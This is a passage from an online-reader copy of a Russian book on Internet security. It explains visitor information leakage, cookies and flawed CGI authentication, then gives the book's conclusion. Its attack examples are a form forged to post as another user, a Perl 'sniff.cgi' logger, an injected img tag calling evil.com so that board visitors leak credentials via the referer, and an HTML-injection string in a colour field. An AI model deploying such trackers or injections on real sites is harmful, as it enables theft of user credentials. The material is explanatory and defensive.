Чтение онлайн

на главную - закладки

Жанры

Шрифт:

Единственный способ реально «залатать» скрипт – вставить проверку повторяющихся номеров сообщений в followup, но и это не решит проблему окончательно.

Использование серверных приложений для атаки на клиента

Ситуация, когда Web-мастер сознательно занимается атакой своих посетителей, является патологической. Гораздо чаще используются ошибки cgi-скриптов для атаки других посетителей (или для создания им серьезных неудобств).

Безопасность личной информации

В то время как IP-адрес сервера должен быть доступен всем клиентам, желающим воспользоваться его услугами, клиент вовсе не обязан афишировать везде свой адрес. И для того, чтобы начать на него атаку, нужно каким-то образом определить его адрес. В разделе «Атака на клиента» мы уже описывали некоторые клиентские приложения, существенно облегчающие задачу злоумышленникам, однако даже пользователь, не имеющий на своей машине ничего, кроме браузера, довольно уязвим.

Ваш любимый браузер при заходе на любую страницу сообщает о себе весьма много информации.

На простом примере покажем скрипт на Perl, выводящий основную информацию о посетителе страницы:

#!/usr/bin/perl

print ("Content-type: text/html\n\n");

@ee=(

"CHARSET", #кодировка

"HTTP_USER_AGENT", #тип браузера

"HTTP_REFERER", #страница, с которой

вызван скрипт

"REMOTE_ADDR", #адрес клиента

"REMOTE_HOST", #хост клиента

"HTTP_X_FORWARDED_FOR" #адрес клиента, возвращаемый

# proxy-сервером

);

foreach $e(@ee)

{

print "<b>$e</b>: $ENV{$e}<br>\n";

}

Часть информации – CHARSET, USER_AGENT и HTTP_REFERER – передается клиентом и, следовательно, может быть подделана (или скрыта, все зависит от точки зрения), с чем успешно справляются proxy-серверы и программы наподобие JunkBuster или @Guard. REMOTE_ADDR и REMOTE_HOST могут быть скрыты с помощью proxy-серверов, многие из которых возвращают реальный адрес клиента в X_FORWARDED_FOR.

Другой источник утечки информации – cookies. Технически cookie представляет собой строку символов, которую сервер может сохранить на диске клиента, с тем чтобы в дальнейшем ее считать. С точки зрения безопасности практически единственная проблема, связанная с cookies, заключается в том, что они могут быть отправлены на сервер при помощи JavaScript, и, следовательно, с их помощью может быть передана вся информация, доступная в JavaScript. Впрочем, то же самое можно проделать и при помощи скрытых форм. Предельный размер каждого cookie определен в 4 Кб, а для каждого сервера допускается не более 20 cookies. Информация, записанная сервером в cookie, считывается только этим же сервером и используется преимущественно в мирных целях, например для идентификации пользователей в online-магазине, для сохранения настроек и т. п.

С другой стороны, далеко не всем нравится, что сервер что-то пишет на диск без ведома пользователя, да и не всех устраивает, что с помощью cookie очень легко отследить маршрут передвижения посетителя по серверу, его привычки и т. д. Последнее очень важно в связи с распространением баннерных сетей, код которых находится на каждой второй странице WWW и которые могут установить – и устанавливают – свои cookies, позволяя проводить более масштабные маркетинговые исследования.

Проблемы идентификации

Предположим, мы пишем скрипт доски объявлений (или Web-чата) и хотим предусмотреть в нем возможность регистрации: чтобы пользователь мог ввести свои имя и пароль и после проверки получить право записи на доску. Вариант решения – формировать все страницы динамически с помощью скрипта, а имя пользователя записывать в скрытое поле для того, чтобы вставлять его в сообщение автоматически. Затем пользователь Vasya, честно пройдя регистрацию, дает команду View source и видит следующий код:

<form action="/cgi-bin/board.cgi" method="GET">

<input type="hidden" name="nick" value="Vasya">

<input type="text" name="message" maxlength="255">

</form>

Далее он копирует его себе на диск и слегка подправляет:

<form action="http://www.victim.com/cgi-bin/board.cgi" method="GET">

<input type="hidden" name="nick" value="Petya">

<input type="text" name="message">

</form>

После чего от имени невинного пользователя Petya делает свое черное дело и забивает нашу доску мусором. Наученные горьким опытом, мы начинаем хранить в скрытом поле не только имя, но и пароль. Далее все зависит от того, насколько вы позаботились о безопасности своих пользователей. К примеру, Vasya может написать следующий скрипт (назовем его sniff.cgi):

#!/usr/bin/perl

$log = "snifflog.txt";

$now_string = localtime;

@thetime = split(/ +/,$now_string);

@theclock = split(/:/,$thetime[3]);

$ampm = ’am’;

if ($theclock[0] > 11)

{ $ampm = ’pm’; }

if ($theclock[0] == 0)

{ $theclock[0] = 12; }

if ($theclock[0] > 12)

{ $theclock[0] -= 12; }

else

{ $theclock[0] += 0; }

$lnum=$ENV{’QUERY_STRING’};

open (DB, "$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

@line=<DB>;

flock(DB, 8);

close(DB);

$value = $ENV{’HTTP_REFERER’};

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ".

$ENV{’REMOTE_ADDR’}." ".$ENV{’REMOTE_HOST’}." ".$ENV{’HTTP_X_FORWARDED_FOR’}."

[".$value."]";

$maxline=@line;

$maxline=30 if ($maxline>30);

open (DB, ">$log") || die "Can’t Open $log: $!\n";

flock(DB, 2);

print DB ("$line0\n");

for ($i=0; $i<$maxline; $i++)

{

print DB ("$line[$i]");

}

flock(DB, 8);

close(DB);

print "Location: http://somehost/somepic.gif\n\n";

Затем он установит его на каком-либо сервере, разрешающем запуск cgi-приложений, и добавит на нашу доску код вида <img src="http://www.evil.com/cgi-bin/sniff.cgi"> (либо просто установит у себя на машине Web-сервер, вставит код <img src="http://vasya.home.host/somepic.gif"> и начнет изучать log-файл своего сервера). После чего все зашедшие на эту страницу исправно сообщат sniff.cgi, кто они, откуда и т. д. В частности, поскольку мы выбрали в качестве метода передачи данных GET, HTTP_REFERER будет содержать и имя, и пароль пользователя. Между прочим, очень многие Web-чаты до сих пор имеют этот недостаток. Дальнейшее уже зависит от политики в отношении вставки html-тэгов. Мы можем махнуть рукой и отдать нашу доску на растерзание, можем запретить все тэги, завести список запрещенных или разрешенных тэгов. Выбрав путь фильтрации, важно фильтровать весь пользовательский ввод, не рассчитывая, например, на то, что, если вы сделали в своем чате выпадающий список, позволяющий выбрать цвет, никому не придет в голову передать вместо ожидаемой строки с кодом цвета строчку вида

color"><img src="..."><

Впрочем, даже после этого мы не застрахованы, к примеру, от того, что Vasya, находясь в одной локальной сети с Petya, не установит там анализатор сетевого трафика и не подсмотрит всю критичную информацию. При более серьезном объекте атаки, чем гостевая книга или Web-чат, и последствия более серьезные – достаточно представить на их месте Web-магазин либо систему управления банковским счетом.

Приведенные примеры являются лишь одной стороной общей проблемы идентификации в Internet. Несмотря на то что среднестатистический пользователь оставляет в Сети массу сведений о себе, мы не можем быть

уверенными в том, что два захода с одного и того же адреса принадлежат одному и тому же пользователю, и наоборот, что один и тот же пользователь не может зайти с разных адресов.

Все предлагаемые решения этой проблемы имеют те или иные недостатки:

1. Средства аутентификации пользователей, встроенные в серверы, являются наиболее очевидным решением. В IIS разграничение доступа осуществляется средствами файловой системы, в Apache защита ставится на уровне каталогов путем размещения в общем каталоге конфигурационного файла (в разделе <Directory>) либо в локальных конфигурационных файлах (.htaccess) соответствующих директив, описывающих пути до файлов с именами групп, пользователей и паролей, а также права доступа для разных групп. После чего можно просто считать в нашем скрипте имя пользователя из переменной окружения REMOTE_USER. Этот подход имеет два минуса. Во-первых, далеко не всегда нам нужно что-то большее, чем простая идентификация пользователя. При дневном трафике в несколько десятков тысяч человек нам ни к чему заводить для каждого пользователя свою учетную запись. Но даже если нам потребуется аутентификация, мы столкнемся с проблемой открытой передачи паролей, потенциально приводящей к возможности их перехвата. Если же использовать средства более строгого шифрования паролей (digest-аутентификация в Apache, NT Challenge/Response в IIS), то есть вероятность столкнуться с несовместимостью и с юридическими проблемами (SSL).

2. Очень часто используются самодельные механизмы аутентификации, хранящие, как показано выше, имя и пароль пользователя непосредственно в спрятанных полях формы. Недостаток тут тот же – возможность перехвата. Неплохим решением является предварительная шифровка пароля, привязанная к IP-адресу пользователя, что сокращает возможности перехвата, хотя и не исключает его. Именно эта схема была реализована в скриптах управления пользовательским счетом баннерной системы Russian Link Exchange, занимающейся показами рекламных заставок – баннеров – на Web-серверах, однако в начале февраля 1999 в ней была обнаружена неприятная особенность. Оказалось, что зашифрованный пароль привязывался только к IP-адресу, сам же пароль по оплошности программиста выпадал из поля зрения. В итоге каждый пользователь системы мог получить доступ к любому счету. Публикация этого факта на открытых списках рассылки привела к громкому скандалу в узких кругах и ряду инцидентов, связанных с неправомочным переводом показов с одного счета на другой. К чести администрации системы следует заметить, что ошибка была исправлена в течение считанных часов, а все пострадавшие получили свои показы назад.

3. Еще одно решение, когда после первого входа в систему генерируется некоторый случайный идентификатор пользователя, никак не связанный с его именем или паролем. Идентификатор запоминается в базе сервера и записывается все в то же скрытое поле формы. При очередном обращении клиента проверяется, был ли уже зарегистрирован этот пользователь. Для предотвращения накопления в базе уже отключившихся пользователей вводится некоторая задержка и счетчик времени для каждого пользователя, хранящий время последнего обращения. Если время ожидания очередного запроса превысило задержку, пользователь из базы удаляется. Естественно, при каждом запросе счетчик времени обновляется. Данный способ наиболее эффективен именно в ситуации идентификации, а не аутентификации.

4. Наиболее популярный и достаточно надежный на сегодня способ, практически исключающий хранение информации в полях формы, – использование при идентификации сочетания IP-адреса пользователя и идентификатора, хранящегося вместе с прочей информацией в cookies. Основная проблема тут в нескольких процентах посетителей, отключающих cookies. Поэтому главную роль здесь играет мотивация – такому пользователю должна быть предъявлена убедительная причина, чтобы он включил их поддержку обратно.

Итак, подключаясь к Internet или открывая свой Web-сервер, вы всегда идете на некоторый риск. Устранить его полностью невозможно, но в ваших силах постараться свести риск до разумного минимума и не стать главным его источником. Надеемся, что в этом вам помогут материалы настоящей главы.

Заключение

Заканчивая чтение предложенного материала об особенностях информационной безопасности Internet, читатель вправе спросить: Что же делать? Каковы реальные возможности защиты Internet? Как использовать Internet и свести риск до допустимых пределов? Список вопросов, конечно, можно продолжить. Сразу оговоримся, что для ответа на них необходимо написать еще одну книгу. Однако в кратком виде наше мнение по этому поводу изложим здесь.

Безопасность Internet

Изначально Сеть создавалась как незащищенная открытая система, предназначенная для информационного общения постоянно возрастающего числа пользователей. При этом подключение новых пользователей должно было быть максимально простым, а доступ к информации – наиболее удобным, что явно противоречит принципам создания защищенной системы, безопасность которой должна быть описана на всех стадиях ее создания и эксплуатации, а пользователи – наделены четкими полномочиями. Создатели Internet не стремились к этому, да и требования защиты настолько бы усложнили проект, что сделали бы его реализацию вряд ли возможной.

Вывод: Сеть Internet создавалась как незащищенная система, не предназначенная для хранения и обработки конфиденциальной информации. Более того, защищенная Сеть не смогла бы стать информационным образом мировой культуры, ее прошлого и настоящего – в этом самостоятельная ценность Internet, и, возможно, отсутствие необходимой безопасности есть плата за такое высокое назначение.

Следствие: Многие пользователи заинтересованы в том, чтобы глобальная сеть стала системой с категорированной информацией и полномочиями пользователей, подчиненными установленной политике безопасности.

Однако наиболее яркие творения человеческого разума через некоторое время начинают жить самостоятельно, развиваясь и выходя за первоначальные замыслы создателей. Поэтому слабая защищенность Сети все сильнее беспокоит ее пользователей, особенно в связи с появлением электронной коммерции.

Будет ли Сеть защищенной

И да, и нет. В Internet постоянно, но очень медленно (сказывается отсутствие централизованного управления) будут появляться все новые и новые средства сетевой защиты, защищенные протоколы обмена и т. д. Все это естественным путем повысит общий уровень защищенности, однако говорить о безопасной Сети в целом даже в ближайшее десятилетие было бы, на наш взгляд, неразумно. Тем не менее Internet – защищена ли Сеть или нет – как глобальная информационная среда всемирного общения является одним из величайших достижений человечества в подходящем к концу XX столетии.

Поделиться:
Популярные книги

На границе империй. Том 7. Часть 3

INDIGO
9. Фортуна дама переменчивая
Фантастика:
космическая фантастика
попаданцы
5.40
рейтинг книги
На границе империй. Том 7. Часть 3

Здравствуйте, я ваша ведьма! Трилогия

Андрианова Татьяна
Здравствуйте, я ваша ведьма!
Фантастика:
юмористическая фантастика
8.78
рейтинг книги
Здравствуйте, я ваша ведьма! Трилогия

Найди меня Шерхан

Тоцка Тала
3. Ямпольские-Демидовы
Любовные романы:
современные любовные романы
короткие любовные романы
7.70
рейтинг книги
Найди меня Шерхан

Мастер 8

Чащин Валерий
8. Мастер
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Мастер 8

Наследник павшего дома. Том II

Вайс Александр
2. Расколотый мир [Вайс]
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Наследник павшего дома. Том II

Пышка и Герцог

Ордина Ирина
Фантастика:
юмористическое фэнтези
историческое фэнтези
фэнтези
5.00
рейтинг книги
Пышка и Герцог

Измена. Он все еще любит!

Скай Рин
Любовные романы:
современные любовные романы
6.00
рейтинг книги
Измена. Он все еще любит!

Ищу жену с прицепом

Рам Янка
2. Спасатели
Любовные романы:
современные любовные романы
6.25
рейтинг книги
Ищу жену с прицепом

Протокол "Наследник"

Лисина Александра
1. Гибрид
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Протокол Наследник

Жена по ошибке

Ардова Алиса
Любовные романы:
любовно-фантастические романы
7.71
рейтинг книги
Жена по ошибке

Медиум

Злобин Михаил
1. О чем молчат могилы
Фантастика:
фэнтези
7.90
рейтинг книги
Медиум

Чужая семья генерала драконов

Лунёва Мария
6. Генералы драконов
Фантастика:
фэнтези
5.00
рейтинг книги
Чужая семья генерала драконов

Отчий дом. Семейная хроника

Чириков Евгений Николаевич
Проза:
классическая проза
5.00
рейтинг книги
Отчий дом. Семейная хроника

Я не Монте-Кристо

Тоцка Тала
Любовные романы:
современные любовные романы
5.57
рейтинг книги
Я не Монте-Кристо